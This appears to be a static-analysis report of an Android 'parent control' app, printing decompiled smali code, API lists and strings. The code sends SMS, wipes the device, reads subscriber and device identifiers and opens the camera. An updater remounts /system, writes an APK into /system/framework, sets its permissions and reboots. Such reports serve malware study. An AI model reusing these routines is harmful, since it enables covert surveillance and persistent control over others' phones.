                    2move-result-object v0
                    3const/4 v2, 0x0
                    4const/4 v4, 0x0
                    5const/4 v5, 0x0
                    6move-object v1, p0
                    7move-object v3, p1
                    9invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
                    10goto_c: return-void
                    11catch_d: move-exception v0
                    13const-string v1, "Utils->sendSMs"
                    15invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    16goto/16 :goto_c
                    APIs
                    • android.app.admin.DevicePolicyManager.wipeData
                    Position Instruction Meta Information
                    0const-wide/16 v0, 0x1388
                    2invoke-static {v0, v1}, Lnet/vkurhandler/gn;->a(J)V
                    4iget-object v0, p0, Lnet/vkurhandler/ak;->a:Landroid/content/Context;
                    6invoke-static {v0}, Lnet/vkurhandler/gn;->p(Landroid/content/Context;)Landroid/app/admin/DevicePolicyManager;
                    7move-result-object v1
                    8iget-boolean v0, p0, Lnet/vkurhandler/ak;->b:Z
                    9if-eqz v0, :cond_14
                    10const/4 v0, 0x1
                    11goto_10:
                    12invoke-virtual {v1, v0}, Landroid/app/admin/DevicePolicyManager;->wipeData(I)V
                    13return-void
                    14cond_14: const/4 v0, 0x0
                    15goto/16 :goto_10
                    Cross References
                    APIs
                    • android.telephony.TelephonyManager.getNetworkOperatorName
                    Position Instruction Meta Information
                    1iget-object v0, p0, Lnet/vkurhandler/Mobile;->a:Landroid/telephony/TelephonyManager;
                    2if-nez v0, :cond_7
                    4const-string v0, ""
                    5goto_6: return-object v0
                    6cond_7:
                    7iget-object v0, p0, Lnet/vkurhandler/Mobile;->a:Landroid/telephony/TelephonyManager;
                    9invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getNetworkOperatorName()Ljava/lang/String;
                    10move-result-object v0
                    11if-nez v0, :cond_6
                    13const-string v0, ""
                    14goto/16 :goto_6
                    Cross References
                    APIs
                    • android.os.Build.MODEL:Ljava/lang/String
                    • java.util.Locale.ENGLISH:Ljava/util/Locale
                    • java.lang.String.toUpperCase
                    Position Instruction Meta Information
                    0try_start_0:
                    1sget-object v0, Landroid/os/Build;->MODEL:Ljava/lang/String;
                    3sget-object v1, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
                    5invoke-virtual {v0, v1}, Ljava/lang/String;->toUpperCase(Ljava/util/Locale;)Ljava/lang/String;
                    6try_end_7: move-result-object v0
                    7goto_8: return-object v0
                    8catch_9: move-exception v0
                    10const-string v0, ""
                    11goto/16 :goto_8
                    Cross References
                    APIs
                    • android.os.Build.MANUFACTURER:Ljava/lang/String
                    • java.util.Locale.ENGLISH:Ljava/util/Locale
                    • java.lang.String.toUpperCase
                    Position Instruction Meta Information
                    0try_start_0:
                    1sget-object v0, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
                    3sget-object v1, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
                    5invoke-virtual {v0, v1}, Ljava/lang/String;->toUpperCase(Ljava/util/Locale;)Ljava/lang/String;
                    6try_end_7: move-result-object v0
                    7goto_8: return-object v0
                    8catch_9: move-exception v0
                    10const-string v0, ""
                    11goto/16 :goto_8
                    Cross References
                    APIs
                    • android.telephony.TelephonyManager.getSubscriberId
                    Position Instruction Meta Information
                    1iget-object v0, p0, Lnet/vkurhandler/Mobile;->a:Landroid/telephony/TelephonyManager;
                    2if-eqz v0, :cond_b
                    4iget-object v0, p0, Lnet/vkurhandler/Mobile;->a:Landroid/telephony/TelephonyManager;
                    6invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String;
                    7move-result-object v0
                    8goto_a: return-object v0
                    9cond_b: const/4 v0, 0x0
                    10goto/16 :goto_a
                    APIs
                    • android.hardware.Camera.open
                    Position Instruction Meta Information
                    1invoke-static {}, Landroid/hardware/Camera;->open()Landroid/hardware/Camera;
                    2move-result-object v0
                    3return-object v0
                    APIs
                    • net.vkurhandler.ParentControlBlockAppActivity.h:Landroid/widget/Spinner
                    • android.widget.Spinner.getSelectedItemPosition
                    • net.vkurhandler.ParentControlBlockAppActivity.a:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.ParentControlBlockAppActivity.a:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.ParentControlBlockAppActivity.getBaseContext
                    • net.vkurhandler.ParentControlBlockAppActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • net.vkurhandler.ParentControlBlockAppActivity.d:Landroid/widget/TextView
                    • android.widget.TextView.getText
                    • java.lang.CharSequence.toString
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.sql.Timestamp.valueOf
                    • java.sql.Timestamp.getTime
                    • net.vkurhandler.ParentControlBlockAppActivity.e:Landroid/widget/TextView
                    • android.widget.TextView.getText
                    • java.lang.CharSequence.toString
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.sql.Timestamp.valueOf
                    • java.sql.Timestamp.getTime
                    • java.lang.System.currentTimeMillis
                    • net.vkurhandler.ParentControlBlockAppActivity.getBaseContext
                    • net.vkurhandler.ParentControlBlockAppActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • org.json.JSONObject.<init>
                    • org.json.JSONArray.<init>
                    • net.vkurhandler.ParentControlBlockAppActivity.q:[[Z
                    • org.json.JSONObject.put
                    • net.vkurhandler.ParentControlBlockAppActivity.d:Landroid/widget/TextView
                    • android.widget.TextView.getText
                    • java.lang.CharSequence.toString
                    • org.json.JSONObject.put
                    • net.vkurhandler.ParentControlBlockAppActivity.e:Landroid/widget/TextView
                    • android.widget.TextView.getText
                    • java.lang.CharSequence.toString
                    • org.json.JSONObject.put
                    • net.vkurhandler.ParentControlBlockAppActivity.j:Landroid/widget/Spinner
                    • android.widget.Spinner.getSelectedItemPosition
                    • org.json.JSONObject.put
                    • org.json.JSONObject.toString
                    • net.vkurhandler.ParentControlBlockAppActivity.q:[[Z
                    • org.json.JSONObject.<init>
                    • net.vkurhandler.ParentControlBlockAppActivity.o:[Ljava/lang/String
                    • org.json.JSONObject.put
                    • net.vkurhandler.ParentControlBlockAppActivity.p:[Ljava/lang/String
                    • org.json.JSONObject.put
                    • org.json.JSONArray.put
                    • net.vkurhandler.ParentControlBlockAppActivity.a
                    • net.vkurhandler.ParentControlBlockAppActivity.getBaseContext
                    • net.vkurhandler.ParentControlBlockAppActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • net.vkurhandler.ParentControlBlockAppActivity.b
                    • net.vkurhandler.ParentControlBlockAppActivity.getBaseContext
                    • net.vkurhandler.ParentControlBlockAppActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • org.json.JSONObject.toString
                    • org.json.JSONObject.<init>
                    • org.json.JSONArray.<init>
                    • net.vkurhandler.ParentControlBlockAppActivity.f:Landroid/widget/TextView
                    • android.widget.TextView.getText
                    • java.lang.CharSequence.toString
                    • java.lang.String.split
                    • net.vkurhandler.ParentControlBlockAppActivity.g:Landroid/widget/TextView
                    • android.widget.TextView.getText
                    • java.lang.CharSequence.toString
                    • java.lang.String.split
                    • net.vkurhandler.ParentControlBlockAppActivity.q:[[Z
                    • org.json.JSONObject.put
                    • java.lang.Integer.parseInt
                    • org.json.JSONObject.put
                    • java.lang.Integer.parseInt
                    • org.json.JSONObject.put
                    • java.lang.Integer.parseInt
                    • org.json.JSONObject.put
                    • java.lang.Integer.parseInt
                    • org.json.JSONObject.put
                    • net.vkurhandler.ParentControlBlockAppActivity.i:Landroid/widget/Spinner
                    • android.widget.Spinner.getSelectedItemPosition
                    • org.json.JSONObject.put
                    • org.json.JSONObject.toString
                    • net.vkurhandler.ParentControlBlockAppActivity.q:[[Z
                    • org.json.JSONObject.<init>
                    • net.vkurhandler.ParentControlBlockAppActivity.o:[Ljava/lang/String
                    • org.json.JSONObject.put
                    • net.vkurhandler.ParentControlBlockAppActivity.p:[Ljava/lang/String
                    • org.json.JSONObject.put
                    • org.json.JSONArray.put
                    Strings
                    • parent_control_block_app_mode
                    • parent_control_block_app_when
                    • :00
                    • apps
                    • datetime_begin
                    • datetime_end
                    • type
                    • app_name
                    • pkg_name
                    • :
                    • hour_begin
                    • minute_begin
                    • hour_end
                    • minute_end
                    • ParentControlBlockAppActivity
                    Position Instruction Meta Information
                    0const/4 v1, 0x1
                    1const/4 v2, 0x0
                    2const/4 v0, 0x0
                    3try_start_3:
                    4iget-object v3, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->h:Landroid/widget/Spinner;
                    6invoke-virtual {v3}, Landroid/widget/Spinner;->getSelectedItemPosition()I
                    7move-result v3
                    8packed-switch v3, :pswitch_data_204
                    9move v1, v2
                    10goto_d: if-eqz v1, :cond_43
                    12iget-object v1, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->a:Landroid/content/SharedPreferences;
                    14invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    15move-result-object v1
                    17const-string v2, "parent_control_block_app_mode"
                    19invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    20move-result-object v1
                    22invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    24iget-object v1, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->a:Landroid/content/SharedPreferences;
                    26invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    27move-result-object v1
                    29const-string v2, "parent_control_block_app_when"
                    31invoke-interface {v1, v2, v0}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    32move-result-object v0
                    34invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    36invoke-virtual {p0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getBaseContext()Landroid/content/Context;
                    37move-result-object v0
                    38const v1, 0x7f060020
                    40invoke-virtual {p0, v1}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getString(I)Ljava/lang/String;
                    41move-result-object v1
                    42const/4 v2, 0x0
                    44invoke-static {v0, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    45move-result-object v0
                    47invoke-virtual {v0}, Landroid/widget/Toast;->show()V
                    48const/4 v0, 0x1
                    49iput-boolean v0, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->s:Z
                    50goto_43: return-void
                    51pswitch_44: new-instance v4, Ljava/lang/StringBuilder;
                    53iget-object v5, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->d:Landroid/widget/TextView;
                    55invoke-virtual {v5}, Landroid/widget/TextView;->getText()Ljava/lang/CharSequence;
                    56move-result-object v5
                    58invoke-interface {v5}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    59move-result-object v5
                    61invoke-static {v5}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    62move-result-object v5
                    64invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    66const-string v5, ":00"
                    68invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    69move-result-object v4
                    71invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    72move-result-object v4
                    74invoke-static {v4}, Ljava/sql/Timestamp;->valueOf(Ljava/lang/String;)Ljava/sql/Timestamp;
                    75move-result-object v4
                    77invoke-virtual {v4}, Ljava/sql/Timestamp;->getTime()J
                    78move-result-wide v4
                    79new-instance v6, Ljava/lang/StringBuilder;
                    81iget-object v7, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->e:Landroid/widget/TextView;
                    83invoke-virtual {v7}, Landroid/widget/TextView;->getText()Ljava/lang/CharSequence;
                    84move-result-object v7
                    86invoke-interface {v7}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    87move-result-object v7
                    89invoke-static {v7}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    90move-result-object v7
                    92invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    94const-string v7, ":00"
                    96invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    97move-result-object v6
                    99invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    100move-result-object v6
                    102invoke-static {v6}, Ljava/sql/Timestamp;->valueOf(Ljava/lang/String;)Ljava/sql/Timestamp;
                    103move-result-object v6
                    105invoke-virtual {v6}, Ljava/sql/Timestamp;->getTime()J
                    106move-result-wide v6
                    108invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    109move-result-wide v8
                    110cmp-long v8, v8, v6
                    111if-gez v8, :cond_9e
                    112sub-long v4, v6, v4
                    113const-wide/16 v6, 0x0
                    114cmp-long v4, v4, v6
                    115if-gtz v4, :cond_b4
                    116cond_9e:
                    117invoke-virtual {p0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getBaseContext()Landroid/content/Context;
                    118move-result-object v1
                    119const v4, 0x7f060008
                    121invoke-virtual {p0, v4}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getString(I)Ljava/lang/String;
                    122move-result-object v4
                    123const/4 v5, 0x1
                    125invoke-static {v1, v4, v5}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    126move-result-object v1
                    128invoke-virtual {v1}, Landroid/widget/Toast;->show()V
                    129move v1, v2
                    130goto/16 :goto_d
                    131cond_b4: new-instance v0, Lorg/json/JSONObject;
                    133invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                    134new-instance v4, Lorg/json/JSONArray;
                    136invoke-direct {v4}, Lorg/json/JSONArray;-><init>()V
                    137goto_be:
                    138iget-object v5, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->q:[[Z
                    139const/4 v6, 0x0
                    140aget-object v5, v5, v6
                    141array-length v5, v5
                    142if-lt v2, v5, :cond_fa
                    144const-string v2, "apps"
                    146invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    148const-string v2, "datetime_begin"
                    150iget-object v4, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->d:Landroid/widget/TextView;
                    152invoke-virtual {v4}, Landroid/widget/TextView;->getText()Ljava/lang/CharSequence;
                    153move-result-object v4
                    155invoke-interface {v4}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    156move-result-object v4
                    158invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    160const-string v2, "datetime_end"
                    162iget-object v4, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->e:Landroid/widget/TextView;
                    164invoke-virtual {v4}, Landroid/widget/TextView;->getText()Ljava/lang/CharSequence;
                    165move-result-object v4
                    167invoke-interface {v4}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    168move-result-object v4
                    170invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    172const-string v2, "type"
                    174iget-object v4, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->j:Landroid/widget/Spinner;
                    176invoke-virtual {v4}, Landroid/widget/Spinner;->getSelectedItemPosition()I
                    177move-result v4
                    179invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    181invoke-virtual {v0}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                    182move-result-object v0
                    183goto/16 :goto_d
                    184cond_fa:
                    185iget-object v5, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->q:[[Z
                    186const/4 v6, 0x0
                    187aget-object v5, v5, v6
                    188aget-boolean v5, v5, v2
                    189if-eqz v5, :cond_11d
                    190new-instance v5, Lorg/json/JSONObject;
                    192invoke-direct {v5}, Lorg/json/JSONObject;-><init>()V
                    194const-string v6, "app_name"
                    196iget-object v7, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->o:[Ljava/lang/String;
                    197aget-object v7, v7, v2
                    199invoke-virtual {v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    201const-string v6, "pkg_name"
                    203iget-object v7, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->p:[Ljava/lang/String;
                    204aget-object v7, v7, v2
                    206invoke-virtual {v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    208invoke-virtual {v4, v5}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                    209cond_11d: add-int/lit8 v2, v2, 0x1
                    210goto/16 :goto_be
                    211pswitch_120:
                    212invoke-direct {p0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->a()Lorg/json/JSONObject;
                    213move-result-object v4
                    214if-nez v4, :cond_13c
                    216invoke-virtual {p0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getBaseContext()Landroid/content/Context;
                    217move-result-object v1
                    218const v4, 0x7f060009
                    220invoke-virtual {p0, v4}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getString(I)Ljava/lang/String;
                    221move-result-object v4
                    222const/4 v5, 0x1
                    224invoke-static {v1, v4, v5}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    225move-result-object v1
                    227invoke-virtual {v1}, Landroid/widget/Toast;->show()V
                    228move v1, v2
                    229goto/16 :goto_d
                    230cond_13c:
                    231invoke-direct {p0, v4}, Lnet/vkurhandler/ParentControlBlockAppActivity;->b(Lorg/json/JSONObject;)Z
                    232move-result v5
                    233if-nez v5, :cond_158
                    235invoke-virtual {p0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getBaseContext()Landroid/content/Context;
                    236move-result-object v1
                    237const v4, 0x7f06000a
                    239invoke-virtual {p0, v4}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getString(I)Ljava/lang/String;
                    240move-result-object v4
                    241const/4 v5, 0x1
                    243invoke-static {v1, v4, v5}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    244move-result-object v1
                    246invoke-virtual {v1}, Landroid/widget/Toast;->show()V
                    247move v1, v2
                    248goto/16 :goto_d
                    249cond_158:
                    250invoke-virtual {v4}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                    251move-result-object v0
                    252goto/16 :goto_d
                    253pswitch_15e: new-instance v0, Lorg/json/JSONObject;
                    255invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                    256new-instance v4, Lorg/json/JSONArray;
                    258invoke-direct {v4}, Lorg/json/JSONArray;-><init>()V
                    260iget-object v5, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->f:Landroid/widget/TextView;
                    262invoke-virtual {v5}, Landroid/widget/TextView;->getText()Ljava/lang/CharSequence;
                    263move-result-object v5
                    265invoke-interface {v5}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    266move-result-object v5
                    268const-string v6, ":"
                    270invoke-virtual {v5, v6}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    271move-result-object v5
                    273iget-object v6, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->g:Landroid/widget/TextView;
                    275invoke-virtual {v6}, Landroid/widget/TextView;->getText()Ljava/lang/CharSequence;
                    276move-result-object v6
                    278invoke-interface {v6}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                    279move-result-object v6
                    281const-string v7, ":"
                    283invoke-virtual {v6, v7}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    284move-result-object v6
                    285goto_188:
                    286iget-object v7, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->q:[[Z
                    287const/4 v8, 0x0
                    288aget-object v7, v7, v8
                    289array-length v7, v7
                    290if-lt v2, v7, :cond_1d6
                    292const-string v2, "apps"
                    294invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    296const-string v2, "hour_begin"
                    297const/4 v4, 0x0
                    298aget-object v4, v5, v4
                    300invoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    301move-result v4
                    303invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    305const-string v2, "minute_begin"
                    306const/4 v4, 0x1
                    307aget-object v4, v5, v4
                    309invoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    310move-result v4
                    312invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    314const-string v2, "hour_end"
                    315const/4 v4, 0x0
                    316aget-object v4, v6, v4
                    318invoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    319move-result v4
                    321invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    323const-string v2, "minute_end"
                    324const/4 v4, 0x1
                    325aget-object v4, v6, v4
                    327invoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    328move-result v4
                    330invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    332const-string v2, "type"
                    334iget-object v4, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->i:Landroid/widget/Spinner;
                    336invoke-virtual {v4}, Landroid/widget/Spinner;->getSelectedItemPosition()I
                    337move-result v4
                    339invoke-virtual {v0, v2, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    341invoke-virtual {v0}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                    342move-result-object v0
                    343goto/16 :goto_d
                    344cond_1d6:
                    345iget-object v7, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->q:[[Z
                    346const/4 v8, 0x0
                    347aget-object v7, v7, v8
                    348aget-boolean v7, v7, v2
                    349if-eqz v7, :cond_1f9
                    350new-instance v7, Lorg/json/JSONObject;
                    352invoke-direct {v7}, Lorg/json/JSONObject;-><init>()V
                    354const-string v8, "app_name"
                    356iget-object v9, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->o:[Ljava/lang/String;
                    357aget-object v9, v9, v2
                    359invoke-virtual {v7, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    361const-string v8, "pkg_name"
                    363iget-object v9, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->p:[Ljava/lang/String;
                    364aget-object v9, v9, v2
                    366invoke-virtual {v7, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    368invoke-virtual {v4, v7}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                    369cond_1f9: add-int/lit8 v2, v2, 0x1
                    370goto/16 :goto_188
                    371catch_1fc: move-exception v0
                    373const-string v1, "ParentControlBlockAppActivity"
                    375invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    376goto/16 :goto_43
                    Cross References
                    APIs
                    • net.vkurhandler.gm.c:Lnet/vkurhandler/gm
                    • net.vkurhandler.gm.b:Lnet/vkurhandler/gm
                    • net.vkurhandler.gm.h:Lnet/vkurhandler/gm
                    • android.content.Context.getPackageManager
                    • android.content.Context.getPackageName
                    • android.content.pm.PackageManager.getPackageInfo
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.v
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • android.content.Context.getPackageName
                    • org.json.JSONObject.put
                    • android.content.Context.getPackageName
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • java.lang.String.<init>
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.getJSONObject
                    • org.json.JSONObject.getBoolean
                    • net.vkurhandler.gm.h:Lnet/vkurhandler/gm
                    • org.json.JSONObject.getString
                    • org.json.JSONObject.getJSONObject
                    • org.json.JSONObject.getInt
                    • net.vkurhandler.gm.e:Lnet/vkurhandler/gm
                    • org.json.JSONObject.getLong
                    • org.json.JSONObject.getString
                    • java.io.File.getAbsolutePath
                    • java.lang.String.valueOf
                    • net.vkurhandler.gm.g:Lnet/vkurhandler/gm
                    • java.io.File.exists
                    • java.io.File.delete
                    • android.content.Context.getApplicationInfo
                    • android.content.pm.ApplicationInfo.sourceDir:Ljava/lang/String
                    • java.lang.StringBuilder.<init>
                    • java.io.File.getAbsolutePath
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.io.File.<init>
                    • java.io.File.exists
                    • java.io.File.length
                    • java.io.File.length
                    • net.vkurhandler.gm.d:Lnet/vkurhandler/gm
                    • net.vkurhandler.gm.h:Lnet/vkurhandler/gm
                    • java.lang.StringBuilder.<init>
                    • java.io.File.getName
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.StringBuilder.<init>
                    • java.io.File.getAbsolutePath
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.io.File.<init>
                    • java.io.File.exists
                    • java.io.File.length
                    • java.io.File.length
                    • net.vkurhandler.gm.d:Lnet/vkurhandler/gm
                    • net.vkurhandler.gm.f:Lnet/vkurhandler/gm
                    Strings
                    • Updater
                    • module
                    • update
                    • action
                    • update_info
                    • domain_id
                    • device_id
                    • pkg_name
                    • app_name
                    • app_version
                    • response
                    • success
                    • response error:
                    • error
                    • data
                    • server_version
                    • You have last version
                    • size
                    • url
                    • Incorrect apk size for updating:
                    • cat
                    • >
                    • \n
                    • chmod 0666
                    • reboot\n
                    • /system/framework/
                    • .apk
                    • mount -o remount rw /system\n
                    • mount -o rw,remount /system\n
                    Position Instruction Meta Information
                    0const-wide/16 v6, 0x0
                    1try_start_2:
                    2invoke-static {}, Lnet/vkurhandler/gn;->c()Z
                    3move-result v0
                    4if-nez v0, :cond_e
                    6sget-object v0, Lnet/vkurhandler/gm;->c:Lnet/vkurhandler/gm;
                    8invoke-direct {p0, v0}, Lnet/vkurhandler/gl;->a(Lnet/vkurhandler/gm;)V
                    9goto_d: return-void
                    10cond_e:
                    11iget-object v0, p0, Lnet/vkurhandler/gl;->b:Landroid/content/Context;
                    13invoke-static {v0}, Lnet/vkurhandler/gn;->i(Landroid/content/Context;)Z
                    14move-result v0
                    15if-nez v0, :cond_28
                    17sget-object v0, Lnet/vkurhandler/gm;->b:Lnet/vkurhandler/gm;
                    19invoke-direct {p0, v0}, Lnet/vkurhandler/gl;->a(Lnet/vkurhandler/gm;)V
                    20try_end_1b: goto/16 :goto_d
                    21catch_1c: move-exception v0
                    23const-string v1, "Updater"
                    25invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    27sget-object v1, Lnet/vkurhandler/gm;->h:Lnet/vkurhandler/gm;
                    29invoke-direct {p0, v1, v0}, Lnet/vkurhandler/gl;->a(Lnet/vkurhandler/gm;Ljava/lang/Exception;)V
                    30goto/16 :goto_d
                    31cond_28:
                    32iget-object v0, p0, Lnet/vkurhandler/gl;->b:Landroid/content/Context;
                    34invoke-virtual {v0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                    35move-result-object v0
                    37iget-object v1, p0, Lnet/vkurhandler/gl;->b:Landroid/content/Context;
                    39invoke-virtual {v1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                    40move-result-object v1
                    41const/4 v2, 0x0
                    43invoke-virtual {v0, v1, v2}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
                    44move-result-object v0
                    46iget-object v1, p0, Lnet/vkurhandler/gl;->b:Landroid/content/Context;
                    48invoke-static {v1}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    49move-result-object v1
